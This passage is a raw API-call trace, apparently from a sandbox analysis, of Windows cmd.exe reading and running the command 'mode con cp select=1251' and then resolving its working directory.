(in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0161.851] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.851] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.851] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0161.851] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.851] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.851] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0161.851] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.851] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.851] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.851] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0161.851] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.851] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.851] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0161.852] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.852] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.852] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0161.852] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.852] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.852] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0161.852] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.852] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.852] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0161.852] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.852] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.852] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0161.852] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.852] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.852] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.852] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0161.853] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.853] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.853] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0161.853] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.853] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.853] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0161.853] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.853] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.853] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0161.853] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.853] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.853] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0161.853] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.853] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.853] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.853] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0161.854] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.854] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.854] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0161.854] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.854] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.854] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0161.854] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.854] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.854] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0161.854] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.854] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.854] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0161.854] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.854] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.854] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0161.854] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.854] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.854] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0161.855] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.855] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.855] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.855] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0161.855] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.855] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.855] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.855] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0161.855] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.855] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.855] ReadFile (in: hFile=0x248, lpBuffer=0x7ff751539970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x35b31ff5e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesRead=0x35b31ff5e8*=0x1, lpOverlapped=0x0) returned 1 [0161.855] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff751539970, cbMultiByte=1, lpWideCharStr=0x7ff751543c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0161.856] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.856] GetFileType (hFile=0x248) returned 0x3 [0161.856] _get_osfhandle (_FileHandle=0) returned 0x248 [0161.856] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.856] _get_osfhandle (_FileHandle=1) returned 0x254 [0161.856] GetFileType (hFile=0x254) returned 0x3 [0161.856] _get_osfhandle (_FileHandle=1) returned 0x254 [0161.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff751539970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0161.856] WriteFile (in: hFile=0x254, lpBuffer=0x7ff751539970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x35b31ff588, lpOverlapped=0x0 | out: lpBuffer=0x7ff751539970*, lpNumberOfBytesWritten=0x35b31ff588*=0x18, lpOverlapped=0x0) returned 1 [0161.856] GetProcessHeap () returned 0x16fa0dc0000 [0161.856] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x4012) returned 0x16fa0dc8e90 [0161.856] GetProcessHeap () returned 0x16fa0dc0000 [0161.856] RtlFreeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, BaseAddress=0x16fa0dc8e90) returned 1 [0161.857] _wcsicmp (_String1="mode", _String2=")") returned 68 [0161.857] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0161.857] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0161.857] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0161.857] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0161.857] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0161.857] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0161.857] GetProcessHeap () returned 0x16fa0dc0000 [0161.857] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xb0) returned 0x16fa0dc7340 [0161.857] GetProcessHeap () returned 0x16fa0dc0000 [0161.857] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x1a) returned 0x16fa0dc75e0 [0161.858] GetProcessHeap () returned 0x16fa0dc0000 [0161.858] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x38) returned 0x16fa0dc7610 [0161.859] GetConsoleOutputCP () returned 0x1b5 [0162.740] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75153fbb0 | out: lpCPInfo=0x7ff75153fbb0) returned 1 [0162.740] SetThreadUILanguage (LangId=0x0) returned 0x409 [0163.189] GetConsoleTitleW (in: lpConsoleTitle=0x35b31ff3d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0163.524] malloc (_Size=0xffce) returned 0x16fa0ee0840 [0163.524] ??_V@YAXPEAX@Z () returned 0x16fa0ee0840 [0163.525] malloc (_Size=0xffce) returned 0x16fa0ef0820 [0163.525] ??_V@YAXPEAX@Z () returned 0x16fa0ef0820 [0163.526] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0163.526] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0163.526] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0163.526] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0163.526] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0163.526] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0163.526] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0163.526] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0163.526] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0163.526] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0163.526] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0163.526] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0163.526] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0163.526] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0163.526] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0163.526] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0163.526] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0163.526] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0163.526] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0163.526] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0163.526] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0163.526] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0163.526] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0163.526] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0163.526] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0163.526] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0163.526] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0163.526] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0163.526] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0163.527] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0163.527] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0163.527] _wcsicmp (_String1="mode", _String2="START") returned -6 [0163.527] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0163.527] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0163.527] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0163.527] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0163.527] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0163.527] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0163.527] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0163.527] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0163.527] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0163.527] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0163.527] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0163.527] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0163.527] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0163.527] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0163.527] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0163.527] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0163.527] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0163.527] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0163.527] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0163.527] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0163.527] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0163.527] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0163.527] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0163.527] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0163.527] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0163.527] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0163.527] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0163.527] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0163.527] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0163.527] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0163.527] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0163.527] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0163.527] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0163.527] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0163.528] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0163.528] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0163.528] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0163.528] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0163.528] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0163.528] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0163.528] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0163.528] _wcsicmp (_String1="mode", _String2="START") returned -6 [0163.528] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0163.528] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0163.528] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0163.528] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0163.528] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0163.528] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0163.528] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0163.528] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0163.528] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0163.528] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0163.528] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0163.528] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0163.528] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0163.528] ??_V@YAXPEAX@Z () returned 0x1 [0163.528] GetProcessHeap () returned 0x16fa0dc0000 [0163.528] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0xffde) returned 0x16fa0dc8e90 [0163.529] GetProcessHeap () returned 0x16fa0dc0000 [0163.529] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x42) returned 0x16fa0dc6490 [0163.529] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0163.530] malloc (_Size=0xffce) returned 0x16fa0ef0820 [0163.530] ??_V@YAXPEAX@Z () returned 0x16fa0ef0820 [0163.530] GetProcessHeap () returned 0x16fa0dc0000 [0163.530] RtlAllocateHeap (HeapHandle=0x16fa0dc0000, Flags=0x8, Size=0x1ffac) returned 0x16fa0dd8e80 [0163.532] SetErrorMode (uMode=0x0) returned 0x0 [0163.532] SetErrorMode (uMode=0x1) returned 0x0 [0163.532] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x16fa0dd8e90, lpFilePart=0x35b31fec50 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x35b31fec50*="system32") returned 0x13 [0163.532] SetErrorMode (uMode=0x0) returned 0x1 [0163.532] GetProcessHeap () returned 0x16fa0dc0000 [0163.533] RtlReAllocateHeap (Heap=0x16fa0dc0000, Flags=0x0, Ptr=0x16fa0dd8e80, Size=0x42) returned 0x16fa0dd8e80 [0163.533] GetProcessHeap () returned 0x16fa0dc0000 [0163.533] RtlSizeHeap (HeapHandle=0x16fa0dc0000, Flags=0x0, MemoryPointer=0x16fa0dd8e80) returned 0x42 [0163.533] 